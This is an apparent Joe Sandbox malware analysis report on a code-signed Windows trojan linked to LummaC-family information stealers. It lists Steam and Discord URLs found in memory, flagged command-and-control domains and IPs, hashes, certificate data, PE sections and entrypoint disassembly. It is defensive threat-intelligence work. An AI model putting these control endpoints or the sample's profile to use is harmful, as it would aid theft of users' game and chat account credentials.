https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/oauth2/applications	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://drawzhotdog.shop/api	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/my/wishlist/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reinforcenh.shop/apii	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/market/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/news/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=8vRVyaZK	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/gateway	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/subscriber_agreement/	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://repository.certum.pl/cevcsca2021.cer0	BW4pTs1x3V.exe	false		unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://offensivedzvju.shop/	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/splashes/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/discussions/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/stats/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://medal.tv	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
172.67.209.193	gravvitywio.store	United States	13335	CLOUDFLARENETUS	true
172.67.188.210	dividenntykw.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524036
Start date and time:	2024-10-02 14:53:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BW4pTs1x3V.exe renamed because original name is a hash value
Original Sample Name:	2fad7f1752f7c3f57c038bf09359093471523172c08572117eaba2556e859509.exe
Detection:	MAL
Classification:	mal93.troj.evad.winEXE@3/0@11/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BW4pTs1x3V.exe, PID 1668 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: BW4pTs1x3V.exe

Simulations

Behavior and APIs

Time	Type	Description
08:55:27	API Interceptor	5x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
172.67.209.193	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Google_Chrome.exe	Get hash	malicious	LummaC	Browse
	https://finalstepgetshere.com/uploads/beta111.zip	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gravvitywio.store	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.21.16.12
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.21.16.12
	b222.txt.ps1	Get hash	malicious	LummaC	Browse	104.21.16.12
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.16.12
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.209.193
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.16.12
	Google_Chrome.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	https://finalstepgetshere.com/uploads/beta111.zip	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.209.193
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.209.193
	file.exe	Get hash	malicious	LummaC	Browse	104.21.16.12
steamcommunity.com	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	b222.txt.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	Google_Chrome.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://finalstepgetshere.com/uploads/beta111.zip	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.140.92
	l5pPoBu9i3.exe	Get hash	malicious	Unknown	Browse	172.67.178.253
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://www.freemangas.com	Get hash	malicious	Unknown	Browse	172.67.74.221
	caZq8MavwF.exe	Get hash	malicious	Unknown	Browse	172.67.178.253
	http://freemangas.com	Get hash	malicious	Unknown	Browse	104.26.11.241
	72LZTFDM58.exe	Get hash	malicious	Unknown	Browse	172.67.178.253
	https://app.glorify.com/file/1193241?format=90	Get hash	malicious	Unknown	Browse	188.114.96.3
	SHIPPING_DOCUMENTS.VBS.vbs	Get hash	malicious	FormBook	Browse	172.67.181.150
	ODzRw7AnvO.exe	Get hash	malicious	Unknown	Browse	104.21.67.172
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	eEu5xPVQUo.exe	Get hash	malicious	Rhysida	Browse	96.17.64.189
	62-3590.pdf	Get hash	malicious	Unknown	Browse	96.17.64.189
	DV2mrnfX2d.exe	Get hash	malicious	Rhysida	Browse	23.56.162.185
	eEu5xPVQUo.exe	Get hash	malicious	Rhysida	Browse	96.17.64.189
	Axactor Microsoft - Introduksjonsm#U00f8te.msg	Get hash	malicious	EvilProxy	Browse	2.19.126.151
	Axactor Microsoft - Introduksjonsm#U00f8te.msg	Get hash	malicious	EvilProxy	Browse	104.102.21.248
	563299efce875400a8d9b44b96597c8e-sample (1).zip	Get hash	malicious	Unknown	Browse	104.118.8.10
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	b222.txt.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.140.92
	l5pPoBu9i3.exe	Get hash	malicious	Unknown	Browse	172.67.178.253
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://www.freemangas.com	Get hash	malicious	Unknown	Browse	172.67.74.221
	caZq8MavwF.exe	Get hash	malicious	Unknown	Browse	172.67.178.253
	http://freemangas.com	Get hash	malicious	Unknown	Browse	104.26.11.241
	72LZTFDM58.exe	Get hash	malicious	Unknown	Browse	172.67.178.253
	https://app.glorify.com/file/1193241?format=90	Get hash	malicious	Unknown	Browse	188.114.96.3
	SHIPPING_DOCUMENTS.VBS.vbs	Get hash	malicious	FormBook	Browse	172.67.181.150
	ODzRw7AnvO.exe	Get hash	malicious	Unknown	Browse	104.21.67.172

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	FA_41_09_2024_.PDF	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	b222.txt.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	AMG Cargo Logistic.docx	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	file.exe	Get hash	malicious	SmokeLoader	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.209.193 172.67.188.210
	Google_Chrome.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.209.193 172.67.188.210

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	5.755978701725458
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	BW4pTs1x3V.exe
File size:	13'565'176 bytes
MD5:	3677ebc159e92251f19020e9ab4b62ad
SHA1:	561483bb3f3ae9d384d21670f184a7c3fc9cf9c5
SHA256:	2fad7f1752f7c3f57c038bf09359093471523172c08572117eaba2556e859509
SHA512:	1daa3a77bc77b422678fdb65362d1dde1d8f1cce20b68a25b84c79a11abc7e06e8cebf98a7cb0f957f612b6047c9e76c53e18f458288d633efcb35dcd0a718a6
SSDEEP:	98304:IdYu0vXx5GmAxBvSmSSxBREz5A1XVafXFP+JgIX:IdmXx5GmSkm7xByz5wRJgIX
TLSH:	A6D62843E8A149E4C19AD13489369616BA60BC5C8B3037D72B64F7693F36FC0AE7C758
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..S....................@.............................`.......q....`... ............................

File Icon


Icon Hash:	72d280daeaea9282

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x40533f00, 0x1, 0x40533ed0, 0x1, 0x40537970, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	4a438adb9d59c004dab9ec35016a1405

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=Certum Extended Validation Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	09/09/2024 05:06:13 09/09/2025 05:06:12
Subject Chain	CN="Guizhou Sixuanda Technology Co., Ltd.", O="Guizhou Sixuanda Technology Co., Ltd.", L=Guiyang, S=Guizhou, C=CN, SERIALNUMBER=91520100MA6DNNXK11, OID.1.3.6.1.4.1.311.60.2.1.1=Guiyang, OID.1.3.6.1.4.1.311.60.2.1.2=Guizhou, OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	62A1343435FC5131E11FA8C871BB3A1B
Thumbprint SHA-1:	A3AFF46C5F8E2A1F750C570698B864E75553E61F
Thumbprint SHA-256:	87D45B86DFCC84C5EF8338026C26F34935DBAA383A7DD583F48675AF77C957A4
Serial:	332576FE101609502C23F70055B4A3BE

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00C7E4B5h]
mov dword ptr [eax], 00000001h
call 00007F9C91274F3Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00C7E495h]
mov dword ptr [eax], 00000000h
call 00007F9C91274F1Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F9C917B2A5Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F9C91275259h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and dl, byte ptr [ecx+57h]
insb
imul esi, dword ptr [eax+ebx*2], 7745346Eh
dec ecx
jno 00007F9C912752ECh
push esp
push 6B767654h
push 3452352Fh
pop ecx
xor dword ptr [eax+49h], ebp
dec edi
xor dword ptr [ecx+35h], edx
jnc 00007F9C912752C6h
jp 00007F9C912752E3h
jo 00007F9C912752DAh
dec eax
jnc 00007F9C912752DCh
das
cmp dword ptr [ecx+41h], esi
je 00007F9C912752D4h
jp 00007F9C912752E5h
push eax
je 00007F9C912752F3h
jo 00007F9C912752B8h
imul esi, dword ptr [ecx], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xcef000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xcf0000	0x1438	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcf4000	0x33f2f	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xc81000	0x1aa54	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0xced400	0x28f8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd28000	0x1d8b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc7f2e0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xcf048c	0x450	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x53e4a0	0x53e600	394db365a9f376f5c9b299a89ab25a15	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x540000	0x566b0	0x56800	1b5e5b16986ac232a6a53b48fcef5344	False	0.34253635296242774	dBase III DBT, version number 0, next free block index 10, 1st item "6kDSMZOvjsQ+0="	4.645704544292621	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x597000	0x6e9130	0x6e9200	21aaeaf462336b9dda8d6b9047ad89ae	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0xc81000	0x1aa54	0x1ac00	d2b0dbe0d7214d404412ddbeb569c811	False	0.40415997371495327	data	5.637791091275255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0xc9c000	0xc60	0xe00	1968239f00fc167752b363921b6f7862	False	0.2603236607142857	data	4.006709114879526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0xc9d000	0x51460	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xcef000	0x4e	0x200	eda511bdddf784c55171ae58ef7651e0	False	0.1328125	data	0.8426867641107897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0xcf0000	0x1438	0x1600	4ec2e06f21480c761e0837d644ba2871	False	0.2956321022727273	data	4.187655253188815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xcf2000	0x70	0x200	e5fdc731709deadaef06b908907d36c5	False	0.083984375	data	0.4565349337112152	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
